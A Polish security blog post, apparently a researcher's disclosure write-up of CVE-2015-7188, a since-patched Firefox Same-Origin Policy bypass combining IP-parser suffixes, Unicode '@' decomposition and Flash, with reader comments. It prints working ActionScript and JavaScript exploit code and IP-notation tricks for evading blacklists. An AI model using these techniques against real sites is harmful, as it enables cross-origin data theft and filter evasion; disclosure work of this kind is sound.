-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Ominięcie Same-origin policy w Firefoksie – dokładny opis (CVE-2015-7188)

14 czerwca 2016, 19:20 | Teksty | komentarzy 10
W trzecim kwartale zeszłego roku zgłosiłem do Mozilli błąd bezpieczeństwa, który pozwalał na ominięcie Same Origin Policy (SOP) w przeglądarce Firefox. Dzięki temu, możliwe było przeprowadzanie ataków polegających na wykradaniu danych należących do innych domen. Źródłem problemu był pewien pozornie mało istotny detal przy parsowaniu adresów IP.

Czym jest Same Origin Policy?

Same Origin Policy (SOP) – to fundamentalna zasada bezpieczeństwa przeglądarek internetowych, której początki sięgają jeszcze 1995 roku, gdy została wprowadzona w przeglądarce Netscape Navigator. Zgodnie z nią, przeglądarka pozwala skryptom z jednego kontekstu JavaScriptu dostać się do drzewa DOM innego kontekstu JavaScriptu wtedy i tylko wtedy, gdy oba konteksty znajdują się w tym samym originie. Origin zaś zdefiniowany jest jako krotka składająca się z trzech elementów: protokołu, nazwy hosta i numeru portu.

Dzięki temu, złośliwa strona http://attacker.com/ nie może dostać się bezpośrednio do drzewa DOM strony https://www.facebook.com ponieważ origin obu stron różni się zarówno pod względem nazwy protokołu, jak i nazwy hosta. Aby lepiej zrozumieć SOP, poniżej tabelka inspirowana dokumentacją Mozilli, pokazująca które zasoby są traktowane jako same-origin dla http://store.company.com/dir/page.html:

Adres URL SOP Wyjaśnienie
http://store.company.com/dir2/other.html Ten sam protokół, host i port.
http://store.company.com/dir/inner/another.html Ten sam protokół, host i port.
https://store.company.com/secure.html Inny protokół.
http://store.company.com:81/dir/etc.html Inny port.
http://news.company.com/dir/other.html Inna nazwa hosta.

 

Należy jeszcze dodać, że zasada SOP działa trochę inaczej w Internet Explorerze/Edge. Przeglądarki Microsoftu nie biorą bowiem pod uwagę numeru portu. Ponadto SOP w ogóle nie jest brany pod uwagę przy adresach internetowych zdefiniowanych na komputerze użytkownika jako “strefa zaufana”.

Parsowanie adresów IPv4

Parsowanie adresów IP to temat, o którym mogłoby się wydawać, że niewiele można powiedzieć. Najczęściej bowiem spotykamy się z adresami zapisanymi w postaci czterech liczb z zakresu 0-255 oddzielonych kropką. Na przykład 216.58.209.68 to adres IP serwera www.google.com. W rzeczywistości jednak istnieje wiele innych sposobów na zapisanie tego samego adresu IP:

  • Każdą z części adresu IP możemy zapisać szesnastkowo (0xXX) lub ósemkowo (0xxx),
  • Jeśli jeden z oktetów jest równy zero, możemy go pominąć,
  • Możemy kilka oktetów zapisać jako jedną liczbę.

Dzięki tym zasadom, każdy z poniższych adresów jest tak naprawdę inną reprezentacją adresu 216.58.209.68 – co można potwierdzić wykonując ping na każdy z nich:

  • 216.58.53572
  • 0xD8.072.53572
  • 3627733316
  • 0330.3854660

Tyle różnych sposobów zapisu jednego adresu IP może się przydać do ominięcia filtrów opierających się na czarnych listach.

W trakcie jednego z pentestów zauważyliśmy jeszcze jeden niuans w implementacji parserów adresów IP, który występuje zarówno na Linuksach, jak i OSX. Okazuje się, że zaraz za poprawnym adresem IP możemy dodać biały znak (czyli jeden ze znaków: 0x09, 0x0A, 0x0B, 0x0C, 0x0D i 0x20), a następnie dowolny ciąg znaków. Przykładowo, adres IP „127.0.0.1\x0Acokolwiek” zostanie rozpoznany jako poprawny – będzie wskazywał po prostu na 127.0.0.1 (Rys 1).

Rys 1. Adres IP "127.1\x0Acokolwiek" jest rozpoznawany jako prawidłowy

Rys 1. Adres IP „127.1\x0Acokolwiek” jest rozpoznawany jako prawidłowy

Dzięki temu możemy do adresu IP dopisać dowolny przyrostek i ten adres będzie nadal poprawny.

Adresy IP w Firefoksie

Naturalnym następnym krokiem było zastanowienie się, czy tego typu zachowanie będzie można jakoś nadużyć. Zacząłem więc badać zachowanie przeglądarek internetowych, jako oprogramowania, w którym nieoczekiwana interpretacja nazwy hosta mogłaby przynieść największe korzyści. Okazało się, że w Firefoksie do interpretacji nazw hosta będących adresami IP był używany kod skopiowany z systemów BSD, w których pojawiało się to zachowanie opisane we wcześniejszym akapicie.

Jedynymi białymi znakami, jakich można było używać tuż po poprawnym adresie IP były 0x0B i 0x0C. Zobaczmy na przykładzie: domena bentkowski.info jest zmapowana do adresu IP: 37.187.18.85. Można więc było się do niej odwołać wpisując w konsoli JavaScriptu:

location='http://37.187.18.85\x0Bcokolwiek'

Na Rys 2. możemy zobaczyć, że rzeczywiście domena o takiej nazwie została otwarta. Ponadto standardowe właściwości takie jak document.domain czy location.origin także zawierają nazwę domeny z dodanym przez nas przyrostkiem po adresie IP.

Rys 2. Odwołanie do domeny http://37.187.18.85\x0Bcokolwiek

Rys 2. Odwołanie do domeny http://37.187.18.85\x0Bcokolwiek

Wiemy już, że w Firefoksie możemy dopisać dowolny ciąg znaków do nazwy hosta. Pytanie, które się teraz nasuwa brzmi: jak więc można to wykorzystać?

Pierwszym pomysłem było dopisanie do nazwy hosta nazwy jakiejś innej domeny, np. http://37.187.18.85\x0B.test.google.com/. Liczyłem na to, że np. ciasteczka, które są ustawiane dla całej domeny google.com, będą też wysyłane pod taką nazwę hosta… Okazało się jednak, że tak się nie działo. Wewnętrzne funkcje Firefoksa rozpoznawały nadal, że ten sposób zapisu hosta jest tylko adresem IP i ciasteczka domeny google.com nie były wysyłane. Pomimo tego, taki sposób zapisu adresów może się przydać w co najmniej kilku scenariuszach:

  • W atakach phishingowych. Pasek adresu w Firefoksie podkreśla nazwę domeny google.com (Rys 3.). Dla mniej zorientowanych użytkowników, taka nazwa domeny może wyglądać wiarygodnie, jako naprawdę należąca do Google.
  • Aplikacje, które implementują mechanizm onmessage/postMessage często sprawdzają origin, z którego przychodzi wiadomość. Jeżeli to sprawdzenie opierałoby się na zasadzie if(origin.endsWith(„.google.com”)) … , bylibyśmy wówczas w stanie obejść taką weryfikacje.
Rys 3. Podkreślenie nazwy domeny google.com w pasku adresu.

Rys 3. Podkreślenie nazwy domeny google.com w pasku adresu.

Niestety, takie wykorzystanie problemu nadal nie było zadowalające, bo nie dawało realnych korzyści atakującemu i wymagało pewnej naiwności ze strony użytkownika albo potrzebna była konkretna implementacja postMessage w webaplikacji, by dało się przeprowadzić atak.

Dekompozycja Unicode

W przestrzeni znaków Unicode można znaleźć wiele znaków, których wygląd jest bardzo podobny, natomiast różne są ich punkty kodowe. Na przykład znak U+FF27 (G) jest zdefiniowany jako “FULLWIDTH LATIN CAPITAL LETTER G” i wizualnie bardzo przypomina zwykłą literę “G”. Twórcy przeglądarek internetowych i standardów definiowania nazw hostów byli świadomi ryzyk związanych z tego typu znakami. Na przykład ktoś złośliwy mógłby założyć domenę Google.com i dzięki niej przeprowadzać na przykład ataki phishingowe. Nie jest to jednak możliwe, bowiem próba użycia tego typu znaków w nazwie domeny skutkuje ich dekompozycją i zamianą na “zwykły” znak z zakresu ASCII. Na przykład wpisanie: location = 'https://\uff27oogle.com’; w konsoli JavaScriptu będzie skutkowało przejściem pod domenę google.com, ponieważ znak \uff27 zostanie zamieniony na literę “G”.

Dekompozycja nie dotyczy jednak wyłącznie liter; dotyka także znaków specjalnych. Ciekawym, z punktu widzenia naszego błędu w Firefoksie, może być znak małpy: “@”. W adresie URL małpa oddziela część nazwy użytkownika od nazwy hosta, np. http://user@example.com/. Znakiem, który jest automatycznie zamieniany na małpę przy dekompozycji jest np. U+FF20 (@). Okazało się, że po przejściu pod adres „http://37.187.18.85\x0B\uff20youtube.com”, Firefox dokonał zamiany „\uff20” na „@”, jednak nadal wiedział, że ten adres jest tylko adresem IP, a nie znajduje się w domenie youtube.com (nie były również wysyłane ciasteczka z tej domeny). Co ciekawe jednak, favikona była ustawiana na obrazek z YouTube’a (Rys 4.)! Potraktowałem to jako znak, że idę w dobrym kierunku ;)

Co istotne, w zmiennych takich jak document.domain, location.origin czy location.href, znak „\uff20” jest zamieniony na „@”.

Rys 4. W zapytaniu pod "http://37.187.18.85\x0b\uff20youtube.com" favikona ustawiana jest na YouTube

Rys 4. W zapytaniu pod „http://37.187.18.85\x0b\uff20youtube.com” favikona ustawiana jest na YouTube

Pobieranie danych przez Flasha

Kolejnym pomysłem było wykorzystanie apletu Flasha do wydobycia jakichś danych. We Flashu obowiązuje trochę inny Same Origin Policy niż ten znany z JavaScriptu. Jeśli mamy przykładowo plik .swf zahostowany w domenie www.google.com, wówczas niezależnie od tego, z jakiej domeny jest on wywoływany, może pobierać dowolne zasoby (metodami POST i GET) z domeny www.google.com.

W ostatnim przykładzie z wcześniejszego akapitu, dzięki dekompozycji Firefox przechowuje aktualną ścieżkę jako „http://37.187.18.85\x0B@youtube.com”. Gdy odwołamy się do apletu Flasha znajdującego się w tej domenie, przeglądarka przekaże do Flasha ten adres URL (adres URL jest przekazywany, by Flash wiedział w jakim pracuje originie). Jednak w tym adresie URL znajduje się znak małpy; co więc zrobi Flash? Potraktuje go jako separator nazwy użytkownika i nazwy domeny, co spowoduje, że z jego punktu widzenia, aplet został uruchomiony w domenie „http://youtube.com”! To oznacza, że aplet będzie mógł odwoływać się do dowolnych zasobów w domenie youtube.com i czytać odpowiedzi. Efektywnie złamiemy więc Same Origin Policy.

Na listingu 1 został pokazany kod exploita we Flashu, zaś na listingu 2 znajduje się kod exploita w JavaScripcie. W konstruktorze FlashTest() pobierany jest parametr url  rzekazany do apletu flashowego, który następnie jest przekazywany do metody getURL(). Metoda getURL() stara się pobrać zasób z zadanego URL-a, a następnie przekazać treść odpowiedzi wywołując metodę getResponse() z JavaScriptu ze strony, w której aplet będzie osadzony.

Część javascriptowa exploita z kolei w metodzie createRequest() tworzy na stronie nowy element <embed>, wskazując na odpowiednio spreparowany adres URL, zgodnie z opisem z wcześniejszej części artykułu. Natomiast metoda getResponse() odbiera treść odpowiedzi od apletu flashowego i umieszcza ją w w drzewie DOM strony.

Przykład exploita, który zadziała na Firefoksie w wersji mniejszej niż 42 można zobaczyć pod adresem: http://bentkowski.info/fx_sop_bypass/. Na rys 5. pokazano przykład złamania SOP i odczytywania treści z domeny translate.google.com.

Rys 5. Przykład działającego exploita.

Rys 5. Przykład działającego exploita.

Listing 1. Kod pliku FlashTest.as

package {
	import flash.display.Sprite;
	import flash.display.LoaderInfo;
	import flash.external.ExternalInterface;
	import flash.events.*;
	import flash.net.URLRequest; import flash.net.URLLoader;
	public class FlashTest extends Sprite {
		public function FlashTest() {
			var url:String = LoaderInfo(this.root.loaderInfo).parameters.url;
			ExternalInterface.call('console.log', LoaderInfo(this.root.loaderInfo).url);
			getURL(url);
		}

		public function getURL(url:String):void {
			var req:URLRequest = new URLRequest(url);
			var loader:URLLoader = new URLLoader();
			loader.load(req);
			loader.addEventListener(Event.COMPLETE, loader_complete);
			loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, loader_error);
			loader.addEventListener(IOErrorEvent.IO_ERROR, loader_error);
			
			function loader_complete(e:Event):void {
				ExternalInterface.call("getResponse", {"status": "success", "data": e.target});
			}
			function loader_error(e:Event):void {
				ExternalInterface.call("getResponse", {"status": "error", "data": e});
			}
		}
	}
}

Listing 2. Część javascriptowa exploita

function createRequest(url) {
	var a = document.createElement('a');
	a.href = url;
	var host = a.hostname;

	var embed = document.createElement('embed');

	var maliciousURL = 'http://37.187.18.85\x0c\uff20' + host + '/fx_sop_bypass/FlashTest.swf?url=' + url;
	
	embed.setAttribute('allowscriptaccess', 'always');
	embed.src = maliciousURL;

	document.body.appendChild(embed);
}

function getResponse(resp) {
	document.getElementById('status').textContent = '';
	document.getElementById('response').textContent = '';
	if (resp.status === 'success') {
		console.log(resp)
		document.getElementById('response').textContent = resp.data.data;
  } else {
		document.getElementById('status').textContent = resp.data.type +': '+ resp.data.text;
	}
}

Podsumowanie

Przeprowadzenie ataku pozwalającego na złamanie zasady Same Origin Policy w Firefoksie było możliwe dzięki wykorzystaniu kilku pomniejszych specyficznych zachowań:

  1. Parser adresów IP pozwala na dopisanie dowolnych znaków za adresem IP, jeśli tylko wcześniej znajdzie się dowolny biały znak.
  2. Przeglądarki dokonują dekompozycji znaków Unicode, które wyglądają tak samo jak znaki z zakresu ASCII. Dzięki temu możliwe było umieszczenie znaku „@” w nazwie hosta.
  3. Adres URL był przekazywany do apletu Flasha, który traktował znak „@” jako separator nazwy użytkownika i nazwy hosta, co sprawiało, że z punktu widzenia Flasha aplet był uruchomiony w innej domenie niż z punktu widzenia przeglądarki.
  4. Korzystając z właściwości Flasha pozwalającej na pobranie dowolnych zasobów z tej samej domeny, w której plik .swf jest zahostowany, możliwe jest złamanie zasady Same Origin Policy i pobieranie treści z innych domen.

Błąd został zgłoszony do Mozilli w sierpniu 2015, nowa wersja Firefoksa naprawiająca błąd została wydana zaś w październiku. Wydany został biuletyn bezpieczeństwa o numerze MFSA2015-122, błędowi został przydzielony numer CVE-2015-7188.

– Michał Bentkowski, pentester w Securitum

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. ojoj

    Jak zwykle szacunek!

    Odpowiedz
  2. zero one

    Niezwykle interesujące. Brawo Panie Michale.

    Odpowiedz
  3. Piotre4

    Możesz to wytłumaczyć? „216.58.53572”

    Odpowiedz
    • henio

      53572 to binarnie 1110101101000101000100
      18.85 to binarnie 1110101101000101000100

      Odpowiedz
    • Marcin

      >>> hex(53572)
      '0xd144′
      >>> 0xd1
      209
      >>> 0x44
      68

      Odpowiedz
    • 100jak

      IP to: 216.58.209.68
      2 pierwsze oktety są standardowe. 2 kolejne to: 209 = 0xD1, 68 = 0x44. D144 (bez kropek) w hex to 53572.

      Odpowiedz
  4. Piotre4

    Dziękuję wszystkim za wyjaśnienia, najbardziej trafiła do mnie rozpiska 100jak-a.

    Odpowiedz
  5. Wujaszek Billy

    Smutno trochę, że Flash jest na wylocie z przeglądarek, bo to prawdziwa żyła złota. Ile Mozilla wypłaca za taki SOP bypass?

    Odpowiedz
  6. Kot Rademenes

    I know i came late to the party, ale czy jest jakieś online’owe narzędzie, które pozwala na szybką konwersję między takimi róznymi notacjami adresów IP? Nie znalazłem nic w necie ani w Kali.
    Dzięx

    Odpowiedz

Odpowiedz na ojoj